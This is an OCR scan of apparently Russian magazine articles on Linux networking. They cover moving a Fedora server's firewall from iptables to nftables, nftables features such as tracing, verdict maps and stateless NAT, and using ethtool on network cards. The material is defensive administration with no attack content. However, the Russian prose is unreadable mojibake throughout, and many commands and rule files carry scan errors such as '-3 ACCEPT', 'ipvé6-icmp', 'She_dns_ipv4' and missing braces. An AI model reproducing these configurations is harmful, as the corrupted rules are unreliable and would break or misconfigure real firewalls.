TabJHI U 1ernoyek mo ymonyanuo. Ocoboe 3HaueHHe TaM €CTh Y THIIOB TaOJIHIl H XYKOB,
a ¥MeHa TabJIHIl ¥ LENOoYeK MOTYT OBITh COBEPILIEHHO MPOH3BOJIbHBIMH.

B nenoM HMeHa XyKOB MOBTOPSIOT CTapble MMEHA ClEeLHaIbHbIX LEN0YeK, HO B HHXKHEM
peructpe. Hanpumep, input, output, forward. Ckopo Mbl YBUAHM HX B J€HCTBHH.

NepeHocum npaBuna

I[J'Iﬂ 3KOHOMHH BpPEMEHH Mbl HE GYIICM IMAUCaThb IIpaBHJIa C HYJIsd, a BOCIOJIB3yEMCs
iptables-restore-translate H TBOPYECKH NepepaboTaeM ee BHIBOI.
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Ha moem VPS crout Fedora, moaToMy Bce KOMaHIbl H pacIoNIOXEHHE KOH(PHUIOB 5 Jak0
UMEHHO 11 3Toro auctpubyrtusa. 13 cepucos: SSH, BeO, noura, DNS — tunuunbii
Habop.

Jl51s Hayasa BBIKJIIOYMM H OCTAaHOBHMM CTaphle CEpBHUCHI iptables.

$ sudo systemctl disable iptables
$ sudo systemctl stop iptables

$ sudo systemctl disable ip6tables
$ sudo systemctl stop ipé6tables

Teneps nocMoTpUM Ha npaBuia (cat /etc/sysconfig/iptables).

*filter

: INPUT ACCEPT [0:0]

: FORWARD ACCEPT ([0:0]
:OUTPUT ACCEPT [0:0]

# Keep state
-A INPUT -m state —--state ESTABLISHED,RELATED -j ACCEPT

# SSH

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -m comment --
comment "SSH"

# Email

-A INPUT -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT -m comment -
—-comment "SMTP"

-A INPUT -m state --state NEW -m tcp -p tcp --dport 465 -j ACCEPT -m comment -
—comment "SMTPS (SSL/TLS)"

-A INPUT -m state --state NEW -m tcp -p tcp --dport 587 -3 ACCEPT -m comment -
—comment "SMTP StartTLS"

-A INPUT -m state --state NEW -m tcp -p tcp --dport 993 -j ACCEPT -m comment -
-comment "IMAPS"

-A INPUT -m state --state NEW -m tcp -p tcp --dport 995 -3 ACCEPT -m comment -
—-comment "POP3S"

# DNS

-A INPUT -m state --state NEW -m tcp -p tcp --dport 53 -j ACCEPT -m comment -
-comment "DNS zone transfer"

-A INPUT -p udp --dport 53

j ACCEPT -m comment --comment "DNS queries"

# HTTP

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -m comment -
—comment "HTTP"

-A INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT -m comment -
-comment "HTTPS"

# ICMP
-A INPUT -p icmp -j ACCEPT
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# Local traffic
-A INPUT -i lo -3j ACCEPT

# Default actions

-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT

Kpome HHX, eCTb /etc/sysconfig/ip6tables, KOTOPbIH OTIHYAETCS TPEMs NPaBUIAMH.

# ICMP
-A INPUT -p ipvé~-icmp -j ACCEPT

# Default actions
-A INPUT -j REJECT --reject-with icmp6-adm-prohibited
-A FORWARD -3j REJECT --reject-with icmp6-adm-prohibited

Teneps KOHBEpPTHpPYEM 3TOT KOHHT B cHHTakcHC nftables. [Tummu:
$ sudo iptables-restore-translate -f /etc/sysconfig/iptables

Pe3ynbTat GyneT cleayomuM.

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }
add chain ip filter FORWARD { type filter hook forward priority 0; policy
accept; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept;
}

add rule ip filter INPUT ct state related,established counter accept

add rule ip filter INPUT ct state new tcp dport 22 counter accept comment
IISSHII

add rule ip filter INPUT ct state new tcp dport 25 counter accept comment
” SMTPII

add rule ip filter INPUT ct state new tcp dport 465 counter accept comment
"SMTPS (SSL/TLS)"

add rule ip filter INPUT ct state new tcp dport 587 counter accept comment
"SMTP StartTLS"

add rule ip filter INPUT ct state new tcp dport 993 counter accept comment
” IMAPS ”

add rule ip filter INPUT ct state new tcp dport 995 counter accept comment
"POP3S"

add rule ip filter INPUT ct state new tcp dport 53 counter accept comment "DNS
zone transfer"

add rule ip filter INPUT udp dport 53 counter accept comment "DNS queries"

add rule ip filter INPUT ct state new tcp dport 80 counter accept comment
"HTTP"

add rule ip filter INPUT ct state new tcp dport 443 counter accept comment
"HTTPS"

add rule ip filter INPUT ip protocol icmp counter accept

add rule ip filter INPUT iifname "lo" counter accept

add rule ip filter INPUT counter reject with icmp type host-prohibited
add rule ip filter FORWARD counter reject with icmp type host-prohibited
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KnroueBoe cnoBo ct — 310, KOHeuHo ke, ConnTrack — MexaHH3M OTCIIE)KHBaHHA CO-
CTOsHHA coenuHeHHH B aape Linux. Onuus counter OTCYTCTBOBala B HCXOJHbIX NPaBH-
nax iptables. IIpocto nftables He BkIrOYaeT CYUETYHKH NMPABHI O YMOIYAHHUIO, H, €CIIH
OHH Tebe BaXKHbI, HY>)KHO BKIIIOUHTH HX 3TOH OMLHEH.

Cy1ecTBEHHBIH HEIOCTATOK CHHTAKCHCa B CTHIIE pf — OH HMeeT CBOMCTBO NpEBpaIlaTh-
Cs B IUIOXO YHUTAaEMYIO CTeHy Tekcra. K cuacThio, Takol CHHTaKkCHC 00s3aTelIeH TOJIBKO
IUIA KOMaHAbl nft. I8 CKPUNTOB, KOTOpbIE 3arpy)KaloTcs C MOMOIIBIO nft -f, nftables
HoAJepKUBaeT 6ojiee YUTaeMbl CHHTAKCHC C (UIypHBIMH CKOOKaMH H BO3MOXXHOCTBIO
[HCaTh HECKOJIBKO OINLKH B OTHOH CTPOKE Yepe3 TOUKY C 3alsAToH.

CaMbliif IpocTOit crmoco0 KOHBEPTUPOBATh 3TOT CHHTAKCHC B BapHAHT CO CKOOKaMH —
COXPaHHTh 3TH NpaBuia B Qailn (Hampumep, /tmp/rules.nft), IPUMEHUTh HX C MOMO-
WO nft -f /tmp/rules.nft H MPOCMOTPETh KOMaH/IOM nft list ruleset.

KomaHpga nft list ruleset MOXET 3aMEHHUTh H iptables -L -nv, H iptables-save. KpO-
M€ TOro, OHa MoJIepXKHBaeT BeIBOA NMpaBusl B JSON BMecTe cO 3HAaYEHHUSAMH CYETYHKOB C
MOMOLIBKO OMLHH ~j/--json — MEUYTa aBTOPOB (POHTEHIOB /11 HACTPOUKH.

MoxHo 651710 ObI IPOCTO COXPaHHTh KOHBEPTHPOBAHHbIE NPaBUJIa B OAHMH U3 (ainoB B
/etc/nftables/ U OTPAHHYUTHCS 3THM, HO MOXHO H HEMHOT'O PEOPraHU30BaTh KOHOHT C
NOMOILBIO HOBBIX (uy nftables.

Kyna nomectutb HOBble KOH(UIU

B iptables He cyumiecTByeT cnoco60B pa3fenuTh KOHGHI Ha YacTH, M3-32 YEr0 MHOTHE
JIIOM U TEHEpUPYIOT KoHuru ckpunrtamu. Jpyroe aeno nftables — taM ects onumus

include.

B Fedora ecthb daiin /etc/sysconfig/nftables.conf, KOTOPbIH YHTAET CKPUIT CEpPBHCA
nftables. DTOT ¢aiin cOCTOUT U3 OAHHUX OMUHUH include, @ B /etc/nftables/ JIEXKHUT HAbOp
3aroTOBOK KOHGHIroB. Mbl IOMECTHM HAlllM HOBbIE NpaBUia B Gaii inet-filter.nft.

[lepen 3TUM HY>KHO PaCKOMMEHTHPOBATH B (haiiie /etc/sysconfig/nftables.conf CTpPO-
Ky include "/etc/nftables/inet-filter.nft"

B ¢aiine u3 nocraBku AUCTpHOYTHBA A HAC ONpelelieHa TabMuua inet filter C Lie-
MOYKAMH, KOTOPBIE MOBTOPAIOT CMBICI TabIHLIEI £filter B iptables Mo yMo4aHuto.

#!/usr/sbin/nft -f

table inet filter {
chain input { type filter hook input priority 0; }
chain forward { type filter hook forward priority 0; }
{

chain output type filter hook output priority 0; }
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3nech filter — NPOU3BOJILHOE Ha3BaHHE TaOIHLIbI, @ KIIOYEBOE CIIOBO inet — €€ THIIL.
Ecnu THOBI ip M ip6 OrpaHHYMBaIOT Tabnuuy npaBuinamu s [Pv4 u IPv6 cooTseTct-
BEHHO, TO THII inet IO3BOJIAET MHUCATh NpaBUiIa 111 06oux nporokoinos. Ecnu Bce cepBu-
CBI JOCTYIHBI 10 000UM MPOTOKOJIaM, TAKHM CIIOCOO0OM MOXXHO H36exath nyOIHpoBaHUA
NPaBHUJI [IOYTH MOJHOCTHIO.

Ha3Bauus chain input M MPOYHE TOXE YHCTO MHGOPMALMOHHBIE, HA3HAYEHHE LIETTIOYKH
onpenenseT OMUHA type, BPOAE type filter hook input. COOTBETCTBEHHO, €CliH OBl y
Hac Obut1 NAT, HaMm Hy>xHa Oblia Obl TabIHLIA C OMIMEH type nat hook prerouting BMe-
CTO MpaBHJI BHOA iptables -t nat -I PREROUTING H TaK Jajiee 10 aHaJOTHH.

HobaBnsem npasuna

ITockonbky Hac uHTEpecyeT GHIbTpauus Bxoasuero Tpadguka, CBOH NpaBuia Mbl Oynem
JIOIKCBIBaTh BHYTPb chain input. [0 CyTH, KOmHpyeM H3 BBIBOAA iptables-restore-
translate BC€ IIOCJI€ add rule ip filter INPUT M BCTaBJIs€M BHYTPb chain input.

B cBoux cTapbix HacTpOHKax s MUCIOJb30BaN MO OQHOMY MpaBUNy Ha Kaxasli nopt TCP
unu UDP. B iptables ects onuust --dports, Ho B nftables Bce emie npome: MOXHO NUcaTh
MOpTHl B PUIYPHBIX CKOOKax yepe3 3amATyl0. OTHM MBI H BOCIONB3YyeMCS H 00bEJHHUM
BCE MMpaBHJIa U KaXKAO0ro CEpBHUCA B OJHO, HApUMep dport {80, 443} ans HTTP(S).

HOJ’Iy‘-IHTC)I YTO-TO BpOA€ TAKOro:
table inet filter ({

chain input {
type filter hook input priority O
ct state related,established accept

# Services
ct state new tcp dport ssh counter accept

ct state new tcp dport {25, 465, 587} counter accept comment SMTP
ct state new tcp dport {993, 995} counter accept comment "IMAPS and POP3S"

ct state new tcp dport {80, 443} counter accept comment "HTTP"

udp dport 53 counter accept comment "DNS queries"

ct state new tcp dport 53 counter accept comment "DNS zone transfers"
# ICMP

ip protocol icmp accept

meta l4proto ipvé6-icmp accept

# Loopback
iifname lo accept
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# Reject everything else
meta nfproto ipvé4 reject with icmp type admin-prohibited
meta nfproto ipv6 reject with icmpv6 type admin-prohibited

chain forward ({
type filter hook forward priority filter; policy accept;
meta nfproto ipv4 reject with icmp type admin-prohibited
meta nfproto ipv6 reject with icmpv6 type admin-prohibited

chain output { type filter hook output priority 0; }

Tenepsb ocranochk 3anycTuTh cepBHc nftables 1 mocTaBUTH €ro Ha 3arpysKy:
$ sudo systemctl start nftables

$ sudo systemctl enable nftables

Ecnu paboTaews Ha ynaneHHO# MaluuHe 6€3 10cTyna K KOHCONH, He 3a0yb 3ariaHupo-
BaTh Iepe3arpy3ky (shutdown -r +10) MM cOpoc npaBun (echo "nft flush ruleset |
at now+10min").

Co3pnaem rpynnbl agpecos

IIpaBuio npo tcp dport 53 pa3speluaer perukanuio 30H DNS Ha BTOpHYHbIE CEpPBEpHI.
Ecau o6brunblie 3ampocsl DNS Beinonnstorcs yepes UDP, To pennukauus 30H — yepes
TCP.

KoHeyHo, pernukauus AOCTYNHa HE BCEM MOAPsAN, a BIOJHE OMNpENENCHHBIM XOCTaM,
B MoeM ciyyae 3To BropuuHble cepBepbl Hurricane Electric (https://dns.he.net/):
216.218.133.2 M 2001:470:600: :2. JIo MUrpauMu 3TO OrpaHHYeHHE ObUIO MPOIMHUCAHO B
Hactpo#ikax camoro BIND, Ho Mbl n06aBuM ero u B mpaBuna nftables, 4ToObl mocMoT-
pETh Ha CHHTaKCHUC NMEPEMEHHBIX U IPYIIL.

[lepeMeHHBIE OMpPENEAIOTCA C MOMOIIBIO KIIKOYEBOrO CJIOBA define, HalpUMep define
foo = 192.0.2.1. Ha HuX MOXHO cceuiaThbes B cTHie shell ¢ moMowpio $foo. OOBsABIIE-
HHS IEPEMEHHBIX MBI IOMECTHM B caMoe Havalio ¢aiina.

3aTteM MbI cO31aAMM ABe rpynmnbl, oaHy s [Pv4, npyryio nns IPv6. YBbl, Hcnons3oBaTh
o0a THma agpecoB B OJHOM IpYIIE HE BBIIAET, HO 3aTO MPOBEpKa HaXOXAEHHS aJipeca B
rpynme B nftables BoimonHsercs 3a Bpems O(1).

I'pyrnnel onpenensorcs ¢ NOMOLIBLIO KITFOYEBOTO CJI0Ba set, U B HUX HYXHO yka3arts THIl. Ko-
rZ1a OHH OIpeIENIEHb], B OMUHMAX IPABUII HA HUX MOXKHO CCBUIATHCA C MOMOILBIO @setname.
C nepeMeHHBIMHU H IPYINaMH Hall KOHQUT PUMET ClEAYIOINH BUA:

#!/usr/sbin/nft -f

define he_dns_ipv4 = 216.218.133.2
define he dns_ipv6 = 2001:470:600::2
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table inet filter {
set secondary dns_ipvéd {
type ipv4_addr;
elements = { She_dns_ipv4 }

set secondary dns_ipv6 {
type ipv6_addr;
elements = { $he_dns_ipv6 }

chain input {
udp dport 53 counter accept comment "DNS queries"

ct state new tcp dport 53 ip saddr @secondary dns_ipv4 counter accept
comment "DNS zone transfers"

ct state new tcp dport 53 ip6 saddr @secondary dns_ipv6 counter accept
comment "DNS zone transfers"

3akntoueHue

Ha moit B3riaa, cuHtakcuc nftables u ee moaxon k pabore ¢ kKOHGHraMu — 3TO 3Ha4H-
TeJIbHBIH MPOTpecc 10 CpaBHEHHIO ¢ iptables U paccTaBaThesi CO CTapbIMH MHCTPYMEHTa-
MH MOXHO 6e3 coxaleHHus.
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Nftables.
Pa3bupaem npeumyLiecTBa nepexoaa
c iptables Ha HOBbIN (hanpBon

Haruun bBamypun

Nftables — HoBas peanusauus ¢aiipBona B sape Linux, koTopas Nnpu3BaHa 3aMEHHTH
iptables. Kak U MHOrHe Apyrue paaukajibHble H3MEHEHHSs, STOT HHCTPYMEHT A0 CHX IOp
BBI3BIBAET Y MOJIB30BATENEH MPOTHBOPEUNBLIE 4yBCTBA. M rl1aBHBIH BOIIPOC, KOHEYHO Xe, —
KakHe MPeuMYIIeCTBa MOXKHO MOJY4HTh OT Iepexoa Ha Hero?

B rmaBe 13 «Nftables. Kak Beirnsgut Oynymee Hactpoiiku ¢aiipona B Linux» s pac-
CMOTpeJl OCHOBBI HacTpoiikH nftables u Murpauuu c iptables. Habop npaBun nocne Mu-
rpaluy cTajn Kopoye 6iaronaps HOBbIM ¢uyaM nftables Bpoae nmepeMeHHBIX H BCTPOEH-
HOH MmoaaepXkH rpymnn o6sexToB. TeM He MeHee MO0 QYHKIHOHaTbHOCTH OH HMOEHTHYEH
CTapoMy, U Y HEKOTOPBIX YHTaTeNeil BOZHUKIH COMHEHHs, YTO MHTPHPOBATh BooOLIE Lie-
necoobpa3zHo.

B 3ToT pa3 MbI paccMoTpuM pan ¢yHKuMi nftables, koTopbie B iptables 0TCyTCTBYIOT, H
y6enuMcs, uto nepeaenats ¢aipson B Linux aBTOpHI 331yMalli He MPOCTO OT CKYKH.

TpaccupoBka npasun

HagepHnsika ObIBano Tak, 4TO HY>XHBIH TpapHK OLIMO0YHO OJIOKHPYETCS KaKHUM-TO IpaBH-
JIOM, HO THl HE MOXelIb MOHATh, KAKHM MMeHHO. Y nftables mis Takux ciydaeB ecTh
BCTPOEHHBIH MEXaHU3M TPaCCHPOBKH MPABHIL

PaccMoTpuM ero Ha o4eBHOHOM mpuMepe. IlycTs y Tebs mpaBuio O6JOKHpYET Bech Tpa-
¢&uUK ceTH 192.0.2.0/24.

$ sudo nft insert rule inet filter input ip saddr 192.0.2.0/24 drop

IpennonoxuM, Tel 0 HEM 3a0bLT H B YIIOp HE BUAMIIb €r0 B HACTPOHKAX, a MOJIb30BaTEIH
KAJYIOTCs, YTO He MpoxoAuT Tpaduk ¢ xocta 192.0.2.1. He 6ena — MbI MOXXEM BKIIIO-
YUTh TPACCHPOBKY AJI BCEX MAKETOB C aapecoM McToyHHMka 192.0.2.1. Oro nenaercs omn-
LHel nftrace set 1.

$ sudo nft insert rule inet filter input ip saddr 192.0.2.1 meta nftrace set 1
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TCHCpB B BBIBOJI€ KOMAHIBI nft monitor trace MBI MOXXEM YBUOETH BECh IIYTH 3TOr0 Ia-
KeTa yepe3 Halll Habop mpaBHIL.
$ sudo nft monitor trace

trace id 66fdb23e inet filter input packet: iif "ethO" ether saddr ... ether
daddr ... ip saddr 192.0.2.1 ip daddr 203.0.113.1 ip dscp csO ip ecn not-ect ip
ttl 64 ip id 0 ip protocol icmp ip length 84 icmp type echo-request icmp code
net-unreachable icmp id 50986 icmp sequence 1 @th, 64,96
14560823784192396447041847296

trace id 66fdb23e inet filter input rule ip saddr 192.0.2.1 meta nftrace set 1
(verdict continue)

trace id 66fdb23e inet filter input rule ip saddr 192.0.2.0/24 drop (verdict
drop)

Tenepb Mbl CMOXXEM HaHTH HYXHOE [PAaBHJIO MIOUCKOM IO ip saddr 192.0.2.0/24. JT0,
KOHEYHO, TPHBHAIIBHBIA NPHUMEp, H MPAaBHIIO MO0 OBITH KyJa MEHee MPOCTHIM H ove-
BHIHBIM, HO B BHIBOJE TPAaCCHPOBKH ThI BCETAa YBHIHIIb HMEHHO MIPAaBHJIO, KOTOPOE OT-
6pocuio naker.

Kak u ¢ tcpdump/Wireshark, BbI60Op KpuTEpHs A1 TPaCCHPOBKH — 3aJIOT YIaYyHOH OT-
nagku. TpaccupoBka paGoTaeT TONBKO AN MaKEeTOB, KOTOPhIE MOMAaNH MOA MpPaBHIO C
nftrace set 1. EciM ycrnoBue HemocTaToyHO crneuHHYHO, MakKeT B Hee HE MOMajaer.
Crenait ycnoBHe CIMIIKOM OOLIMM, BPOZE protocol tcp, H Thl HE CMOXELIb HalTH HYX-
HOE B OTPOMHOM 00beMe BBIBOJA.

Tem He MeHee caMO HaJIUYHE 3TOr0 MEXaHH3Ma OTKPBIBAET NMPEXIAEC HEOAOCTYIHBIE BO3-
MOXXHOCTH IUIA OTJIAAKH ITPpAaBHII.

Yaansem HeHy)XHoe npasuno

B mpouwuioii ri1aBe Mbl OYTH HE 3aTParHBaIM PYYHOE YIIPaBJICHHE NPaBHIIaMH, 2 BMECTO
3TOro coKyCHpPOBaIHCh Ha ¢aiiax KOHQUTYpaLHH.

Ceityac Mbl 106aBHIIH OTJIAIOYHOE MPABHJIO, M TOCJE 3aBEpIIEHHsA CEaHCa OTJIAAKH €ero
xopowo 6b1 ynanuth. Kak 310 cnenars? B iptables Tpe6oBanoch yka3aTe Kaxaoe YCIo-
BHe npaBuia. B nftables HemMHOro HHaue.

CHayana HYXXHO IOJY4YHTh HOMEp mnpaBuia B Tabnuue. Ero MoXXHO yBHIOETs B BBIBOZE
KOMaHIBI nft -a list ruleset (OMUHA -a BaXKHA).

$ sudo nft -a list ruleset
table inet filter { # handle 7

chain input { # handle 1
type filter hook input priority filter; policy accept;
ip saddr 192.0.2.0/24 meta nftrace set 1 # handle 25

3IICCI> handle 25— 3TO H €CTh HOMED IIpaBHJIA. Tenepb MBI MOXEM YIOAJIHTh €TI0 KOMaH-
JI0oM sudo nft delete rule inet filter input handle 25.
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B otnnume ot iptables ynanenne npaBun no nonHoMy Habopy onuuit B nftables He noa-
nepxuBaercs. Heckonbko Heyqo6HO, 4TO Henb3st Golblie CKONMHPOBATh NMPaBHIO M IO-
MEHATh -A/-1 Ha -D, HO 3aTO M KOMaH/a 11 yAaJleHHs [TPaBHJI CTalla Kopoye.

AccounmaTuBHbIe MacCUBbI

Craperit uHcTpyMeHT IP set (http://ipset.netfilter.org/) no3possn co3naBaTh pa3HbIe TH-
Bl TPYIN OOBEKTOB, HO HE YMEN aCCOLHMHPOBATh OOBEKTHI C Pa3pELICHHIMH — HEIb3s
OBLIIO B OJTHOM IpaBHJIE pa3peLIUTh OAHH OOBEKT, HO 3aNPETHTh APYTOM.

B npaBunax nftables MOXXHO cchlIaThcs HE Ha OTAEIbHBIM KPUTEPHH M pELIEHHE, a Ha
accolMaTHBHbIE MacCHBBI N3 HUX. CHHTaKCHC TaKHX aCCOLIMaTHBHBIX MaCCHBOB: vmap {
o6BexT : paspemenve, ...}. 34ECh vmap — 3TO OILHS, KOTOpPas yKa3bIBaeT, YTO MOCIIe-
IyeT IMEHHO MacCHB M3 OOBEKTOB M pa3pelleHHi, a { wuou :3sHauenue, ...} — OOIIMH
CHHTAKCHC aCCOLIHaTHBHBIX MaCCHBOB.

Hanpumep, B 0THOM MpaBHJIE MBI MOXKEM pa3pelinTh 3alHPpoBaHHbIE BApHaHTHI SMTP
(SMTPS u SMTP/STARTTLS), Ho 3anpeTHTh OOBIYHBIN Ha opTe 25.
ct state new tcp dport vmap { 465 : accept, 587 : accept, 25 : drop } comment
"Secure SMTP only"
MBI Takke MOXXEM OIpenelIiTh HMEHOBAaHHBIH aCCOLMATHBHBIA MacCHB (Hampumep,
banlist) H COCIAThCS Ha HETO B MPaBHIIE C MOMOIIbIO OMIHH vmap @banlist. VIMEHOBaH-
HBI MaCCHB MOXeET OBITh H ITyCTHIM, C PACYETOM Ha JHHAMHYECKOE PEJaKTHPOBaHHE.
table inet filter {

map banlist |

type ipv4 addr : verdict

chain input {
type filter hook input priority filter; policy accept;
ip saddr vmap @banlist drop

3To0 oyeHb ynpomaer padory ckpuntoB Bpoae fail2ban, mockonbky MaccHB MOXHO IH-
HaMHYECKH PeIaKTHpOBaTh cpeacTBamH nftables.

$ sudo nft add element inet filter banlist { 203.0.113.80 : drop}

$ sudo nft delete element inet filter banlist { 192.0.2.98 : drop}

B IP set 6bu1 BCTpOEHHBIH HabOp THIOB, HO HE OBUIO BO3MOXXHOCTH CO31aTh CBOH, IO-
3TOMy pa3paboTYHKH 10OaBHIIH MHOTOYHCIIEHHBIE BADHAHTHI BPOAE hash: ip, port, NbITa-
SICh TIOKPBITH BCE BO3MOXKHBIE ciiydad. B nftables Gonbiie HeT Takoi npobneMer — 3ite-
MEHTBI aCCOLIHaTHBHBIX MaCCHBOB MOT'YT OBITh TPOM3BOJIbHBIX THIIOB.

Hanpumep, Ml MoxkeM ogHuM npaBuinoM NAT nmpokuHyTh mopt 80 Ha ampec 10.0.0.10,
a nopt 25 — Ha afapec 10.0.0.20.

$ sudo nft add rule ip nat prerouting dnat tcp dport map { 80 : 10.0.0.10, 25
10.0.0.20 }
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Jaxe ecnu cuHTakcHc nftables kaxercs TeOe MeHee YHTaEMBIM, B KayeCTBE KOMIIEHCa-
IIHUH OH ITO3BOJIAECT OﬁOﬁTHCL MEHBIIIHUM YHCIIOM npaBpm.

Stateless NAT

B naBHue BpemeHa B sape Linux 6sut mpoctoit NAT, cocrosHHe coenHHEHHH He OTCle-
XKHBaIOCh. MexaHH3M HX OTclexuBaHHsA (conntrack) caenan XH3Hb CETEBBIX aMHHHCT-
paTopoB Kynaa ny4iie. Clio)Hble IPOTOKOJIBI 6oJiee YeM ¢ OMHUM COeIHHEHHEM MepecTa-
1 ObITh HepaspewmnMoi npobnemoii. Kpome toro, 006paboTka makeroB crana OvicTpee,
MOCKOJIbKY OOJBIIMHCTBO M3 HHX JOCTaTOYHO CONOCTaBUTh C Tabmuued CoeauHEeHHi
(onuus --state B iptables), U yXke He HY>XHO POTOHATH Yepe3 Bech Habop mpaBHII.

Tem He MeHee uHoraa stateless NAT — peiicTBuTensHO nmyuyinee pemeHue. Hanpumep,
npoBaiaepsl xoctuHra VPS Bpome Amazon mupoko npuMeHsioT 1:1 NAT, uroOsl ynpo-
CTHUTh yIIpPaBIIEHHE CEThIO, — y CAMOW BUPTYAJIKH «CEPBIH» aapec, YTO MO3BONSAET Pa3Bs-
3aTh BHELIHIOK U BHYTPEHHIOK MapupyTH3anui. OTcaeXHBaTh NOTOKH TpadHKa B 3TOM
Cllyyae He UMEET CMBICIIA, IOCKOJIbKY PELIEHHE A BCEX MAKETOB C OOHHM aipECOM BCe-
ra OJHHaKOBOE.

B iptables 370 65L10 BO3MOXXHO TOJBKO MPH TpaHcnauuH cereit [Pv6 (NPTv6). B nftables
CHOBA MOABHJIACh «Tynas» (a 3HaYHUT, O4YEHb ObICTpas) TPaHCIALMA aiPECOB.

Hanpnmep, TpaHCIIHpYEM BHEIIHHHK aJpec 192.0.2.1 BO BHyTpeHHPIf;I 10.0.0.1.
table ip raw {
chain prerouting {
type filter hook prerouting priority raw; policy accept;
ip daddr 192.0.2.5 ip daddr set 10.0.0.1 notrack

MHoXecTBeHHble AeNCTBUA

B iptables y kaxxaoro npaBuia MOXeT ObITH TONBKO OZHO OEHCTBHE (OHO OmpenenseTcs
onuuer -j). [IpuMeHUTH K OTHOMY MaKeTy HECKOJIBKO Pa3HbIX AEHCTBHH MOXXHO TOJIKO
HECKOJIbKHMH [IPaBHIIaMH.

B nftables y oqHoro npaBuia MoxeT ObITh HECKOIBKO AeHCTBHI. Hanpumep, Mbl MOXxeM
JorupoBath nakers! U3 cetd 192.0.2.0/24 u cpa3y 6;10kHpOBATh HX.

$ sudo nft insert rule inet filter input ip saddr 192.0.2.0/24 log level err
prefix martian-source drop

Tabnuubl netdev

B npouwio# riase Mbl yxke pacCMaTpHBaIX HOBBIH THIT TabIHILl inet, KOTOPBIH MO3BONAET
XpaHHUThb npaBuna u g [Pv4, u nns [Pv6 B ogHoit Tabnuue. C ero momMous0 Mbl CMOTIIH
H30aBUTHCA OT AyONHpPYIOWUXCS HAOOPOB NPaBHJI 11 Pa3HbIX MPOTOKOJIOB.
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OTo He eqUHCTBEHHBIH HOBBIH THI Tabaul. KpoMe Hero, ecTb enle TabiuIbl THIA netdev.
[TpaBuna B Takux TabMHLax BHOAT Bech Tpaduk, KOraa OH BXOOUT U3 ApaiBepa CETeBOM
KapThl B CETEBOM CTeK A7pa, BKIoYas kaapsl ARP. 31o no3Bonser 610KHpOBaTh MaKeThI
ele A0 TOro, Kak sApo HauHeT MX oOpabaThiBaTh. ABTOPHI COBETYIOT NMPHMEHATH 3TH
TaOnuIB! A1 paBui 3aumtsl oT DDoS u noxo6Horo.

3aknyeHue

Vnanare iptables u3 sapa B 6nuxaiiiee BpeMs HUKTO He COOMpaeTcs, Tak YTO MUTPHPO-
BaTh Ha nftables unu Hetr — pemats Tebe. Hageroch, 3TOT 0030p moMoXKeT Tebe NPUHATE
HHGOPMHPOBAHHOE U OCO3HAHHOE PELIECHHUE.
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flaepHble NPUKONbI.
OcBauBaeM HeOObIYHbIe (hnuu
KaHanbHoOro ypoBHA B Linux

Havuun BamypuH

Snpo Linux — ocHoBa OONBIIMHCTBA NMPOTrPaMMHbBIX MapUIpyTH3aTOpOB M ¢aipBoJIOB,
¥ HEYyAHBUTEIbHO — KOJIMYECTBO (QYHKIMH CETEBOrO ypOBHS B HEM OrpoMHO. TeMm He
MeHee psfl MOJIE3HbIX W HEOObIYHbIX GyHKIHMHA Linux a1 paboThl ¢ kKaHaNBHBIM H $H3HYEC-
KHM YpOBHAMH 4YacTO OCTaloTcs B TeHH. [laBai nonpobyemM KOMIIEHCHPOBATh 3TOT Mpobelt.

Ucnonb3yem ethtool

CHayana pacCMOTpPUM YTHJIMTY Ui OOLIEHHS C CETEBHIMH KapTaMH Ha CaMbIX HH3KHX
ypoBHsix — ethtool (https://www.kernel.org/pub/software/network/ethtool/).

C MoMOILBI0 KOMaHIbl ip MOXHO MPOCMOTPETh U MIOMEHATH IOYTH BCE, YTO KacaeTcs ce-
TEBOrO CTeKa fA/Apa, HO, €CNIH peub HAeT 00 ammapaTHOHW YacTH CaMoil KapTel, TyT 6e3
ethtool He 000HTHCE.

Hanpumep, Bce MbI 3HaeM, yto MAC-azpec ceTeBoi KapThl JIETKO TOMEHSTh.

$ ip link show ethO
2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 gdisc mg state DOWN mode
DEFAULT group default glen 1000

link/ether 00:08:a2:0a:52:cd brd ff:ff:ff:ff:ff:ff
$ sudo ip link set dev ethO address 00:aa:bb:cc:dd:ee

$ ip link show ethO

2: eth0O: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 gdisc mg state DOWN mode
DEFAULT group default glen 1000

link/ether 00:aa:bb:cc:dd:ee brd ff:ff:ff:ff:ff:ff

C toukw 3peHus aapa, y ethO reneps HOBBIH anpec. OpHUTHHANBHBIA aapEC OCTAJICH TOJIb-
KO B [IPOIINBKE CETEBOH KapThl.
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B BBIBOZIE ip €ro He HaﬁTPl, HO ethtool CIIOCOOHA 3ariiiHyThb I‘HYG)KG.

$ ethtool --show-permaddr ethO
Permanent address: 00:08:a2:0a:52:cd

MHorue cereBble KapThl NOAJIEPKHUBAIOT aNlapaTHOE YCKOPEHHE HEKOTOPBIX (PYyHKIIMMH,
HanpHMep BbIYHCIEHHE KOHTPOJIbHBIX cyMM nakeToB TCP u UDP. IlpocMoTpeTs noHbINH
CITMCOK (byHKU;Hﬁ U UX COCTOSHME MOXXHO KOMAaHIOM ethtool --show-features
<interface> OOBIYHO BCE, YTO MOJAEPKHMBAECTCS, BKIIOYEHO MO YMOIYAHHUIO, HO yOe-
IUTHCS He OyIeT THLIHKUM.

Ecnu ThI paboTaems 6e3 pusnyeckoro mocryna k o6opyroBaHHIO, HaBepHAKa Tebe yxe
NPUXOJUIOCH HCKATh HYXKHBIA MopT. TpaaHIIMOHHBIA METOA — MOTYLIMTH MOPT (sudo ip
link set <interface> down) M MOINpPOCHTh HalmapHHKa MOCMOTpETh, KaKOH U3 MOpPTOB
notyx. Ho B psine ciydaeB HalTH ¢pU3HUECKOE PACIIONIOKEHHE MOPTAa MOXKHO Oe3 yiepba
A1s TpadHKa ¢ MOMOLIBIO KOMaHIBI ethtool --identify <interface> OHa 3acTaBlsS€T
yKa3aHHYI0 KapTy MOpraTth CBETOJHOJOM, KOTOPBIH OTBEYaeT 3a MHAMKaIMIO up/down.
